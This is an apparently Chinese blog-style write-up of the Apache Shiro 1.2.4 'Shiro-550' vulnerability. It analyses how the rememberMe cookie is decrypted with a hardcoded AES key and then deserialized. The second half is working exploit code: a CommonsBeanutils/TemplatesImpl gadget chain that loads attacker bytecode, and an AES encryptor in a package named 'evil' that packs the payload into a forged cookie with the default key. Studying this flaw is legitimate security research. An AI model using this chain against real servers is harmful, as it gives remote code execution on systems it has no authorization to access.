1.基本信息

shiro1.2.4	[https://github.com/apache/shiro/tree/shiro-root-1.2.4](https://github.com/apache/shiro/tree/shiro-root-1.2.4)

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  这里需要将jstl设置为1.2 -->
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

JDK8U65
tomcat8.5
shiro550造成漏洞的原因就是固定KEY导致反序列化,下图搭建(图一,图二)。

2.发现readObject

2.1:解密

这里我们从漏洞发现者的角度进行分析,全局搜索一下Cookie找到了CookieRememberMeManager类看图一根据推测两个方法分别是加密和解密的方法,
getRememberedSerializedIdentity方法中判断是不是http请求,接着图二205获取rememberMe内容到208是获取Cookie并且判断是否有deleteMe,
下面就是base64解码Cookie内容之后就返回了,找一下哪里调用了(图三),我们看看convertBytesToPrincipals方方法对bytes做了什么(图四)。

走进decrypt其实大致明白了,貌似进行解密(问我怎么明白的decrypt不就是解密吗),先看下这个
cipherService.decrypt(encrypted, getDecryptionCipherKey()),getDecryptionCipherKey()明显是个key
先去找找是什么虽然到现在还不知道是什么加密不过先不慌只要找到key是不是就能解密呢?这里也是找到了
key接着我们调试一下看看cipherService是什么(图三),原来这小子是加密方法呀AES/CBC/PKCS5Padding
并且我们还拿到了key,是不是就可以任意加密或者解密了非常好但是还不是我们的终点,因为我们需要的是rce
回到上面图四执行了deserialize一直跟到地(图四),可以看到是进行了反序列化,那么思路不就来了吗。

 总结流程:  
1.Cookie rememberMe进行Base64解码
2.使用AES/CBC/PKCS5Padding解密并且拿到了固定key`kPH+bIxk5D2deZiIxcaaaA==`
3.进行了反序列化

2.2:加密

下面我们看一下加密的过程
org.apache.shiro.mgt.AbstractRememberMeManager类中onSuccessfulLogin方法是登录的类(图一)
一直跟到图二,在进入convertPrincipalsToBytes,其实里面就是先进行序列化用户名,接着进行加密encrypt
内容和解密差不多只不过变成了cipherService.encrypt加密了,接着走到rememberSerializedIdentity
base64编码,再把编码的内容给rememberMe。

总结流程:
1.用户名进行序列化
2.进行AES/CBC/PKCS5Padding加密并且拿到了固定key`kPH+bIxk5D2deZiIxcaaaA==`
3.进行base64编码

3.反序列化cb链rce

首先改一下CB链下图部分因为用到cc的内容(图一,代码一),下面是AES/CBC/PKCS5Padding解密代码

(代码二)

TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\phpStudy\\test.class"));
bytecodes.set(templates,new byte[][]{bytes});


Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

BeanComparator objectBeanComparator = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue priorityQueue = new PriorityQueue<>();
Class aClass = priorityQueue.getClass();
Field comparator = aClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,objectBeanComparator);

Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);

Field queue = aClass.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});


serialize(priorityQueue);
unserialize("ser.bin");
package evil;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.UUID;

public class AESFileProcessor {
    private static final String key = "kPH+bIxk5D2deZiIxcaaaA=="; // Base64 格式的密钥
    private static final int AES_BLOCK_SIZE = 16; // AES块大小为16字节

    public static void main(String[] args) throws Exception {
        // 读取二进制文件内容
        byte[] fileData = getFileData("C:\\Users\\xinyi\\Desktop\\java测试\\cb\\ser.bin");

        // 加密
        String encryptedData = aesEncrypt(fileData);
        System.out.println("加密后的数据: " + encryptedData);

        // 解密
//        byte[] decryptedData = aesDecrypt(encryptedData);
//        System.out.println("解密后的数据: " + new String(decryptedData));
    }

    /**
     * 从文件读取数据
     *
     * @param fileName 文件路径
     * @return 文件内容(字节数组形式)
     * @throws IOException 文件读取错误时抛出
     */
    public static byte[] getFileData(String fileName) throws IOException {
        return Files.readAllBytes(Paths.get(fileName));
    }

    /**
     * AES 加密
     *
     * @param data 明文数据(字节数组)
     * @return 加密后的 Base64 数据
     * @throws Exception 加密时的异常
     */
    public static String aesEncrypt(byte[] data) throws Exception {
        // 填充数据到 AES 块大小
        byte[] paddedData = pad(data, AES_BLOCK_SIZE);

        // 初始化 AES 密钥和随机生成的 IV
        SecretKeySpec secretKeySpec = new SecretKeySpec(Base64.getDecoder().decode(key), "AES");
        byte[] iv = UUID.randomUUID().toString().substring(0, AES_BLOCK_SIZE).getBytes(); // 生成随机 IV
        IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

        // 使用 AES/CBC/PKCS5Padding 模式加密
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
        byte[] encryptedData = cipher.doFinal(paddedData);

        // 将 IV 和密文拼接,并进行 Base64 编码
        byte[] combinedData = new byte[iv.length + encryptedData.length];
        System.arraycopy(iv, 0, combinedData, 0, iv.length);
        System.arraycopy(encryptedData, 0, combinedData, iv.length, encryptedData.length);

        return Base64.getEncoder().encodeToString(combinedData); // 返回 Base64 编码的加密结果
    }

    /**
     * AES 解密
     *
     * @param encryptedData Base64 编码的加密数据
     * @return 解密后的原始数据
     * @throws Exception 解密时的异常
     */
    public static byte[] aesDecrypt(String encryptedData) throws Exception {
        // Base64 解码加密数据
        byte[] combinedData = Base64.getDecoder().decode(encryptedData);

        // 提取 IV(前16字节)和加密数据(后续字节)
        byte[] iv = new byte[AES_BLOCK_SIZE];
        byte[] encryptedBytes = new byte[combinedData.length - AES_BLOCK_SIZE];
        System.arraycopy(combinedData, 0, iv, 0, AES_BLOCK_SIZE);
        System.arraycopy(combinedData, AES_BLOCK_SIZE, encryptedBytes, 0, encryptedBytes.length);

        // 初始化 AES 密钥和解密模式
        SecretKeySpec secretKeySpec = new SecretKeySpec(Base64.getDecoder().decode(key), "AES");
        IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);

        // 解密数据并去除填充
        byte[] decryptedData = cipher.doFinal(encryptedBytes);
        return unpad(decryptedData);
    }

    /**
     * 对数据进行填充,使长度是 AES 块大小的倍数
     *
     * @param data 数据
     * @param blockSize 块大小
     * @return 填充后的数据
     */
    public static byte[] pad(byte[] data, int blockSize) {
        int paddingSize = blockSize - (data.length % blockSize);
        byte[] paddedData = new byte[data.length + paddingSize];
        System.arraycopy(data, 0, paddedData, 0, data.length);
        for (int i = data.length; i < paddedData.length; i++) {
            paddedData[i] = (byte) paddingSize;
        }
        return paddedData;
    }

    /**
     * 去除填充
     *
     * @param data 数据
     * @return 去除填充后的数据
     */
    public static byte[] unpad(byte[] data) {
        int paddingSize = data[data.length - 1];
        byte[] unpaddedData = new byte[data.length - paddingSize];
        System.arraycopy(data, 0, unpaddedData, 0, unpaddedData.length);
        return unpaddedData;
    }
}